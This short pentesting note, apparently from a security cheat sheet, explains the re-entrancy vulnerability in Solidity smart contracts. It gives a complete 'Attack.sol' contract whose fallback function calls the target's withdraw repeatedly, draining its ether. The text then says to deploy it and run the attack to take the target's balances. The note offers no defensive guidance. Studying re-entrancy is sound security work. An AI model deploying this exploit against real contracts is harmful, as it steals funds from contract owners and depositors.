Smart Contract Pentesting

Tools

• Remix IDE

  An online tool that allow us to deploy a smart contract and run transactions.

Re-entrancy Attack

It’s a common vulnerability involving withdraw and deposit in Solidity.
For example, create “Attack.sol”.

pragma solidity ^0.8.10;
import './Target.sol';

contract Attack {

     Target public target;
     constructor(address _targetAddress) {
         target = Target(_targetAddress);
     }

     fallback() external payable {
         if (address(target).balance >= 1 ether) {
             target.withdraw();
         }
     }
     function attack() external payable {
         require(msg.value >= 1 ether);
         target.deposit{value: 1 ether}();
         target.withdraw();
     }

     function getBalance() public view returns (uint) {
         return address(this).balance;
     }
}
CopyCopied!

After compiling, deploy it and run “attack” function to get balances by compromising the target contract.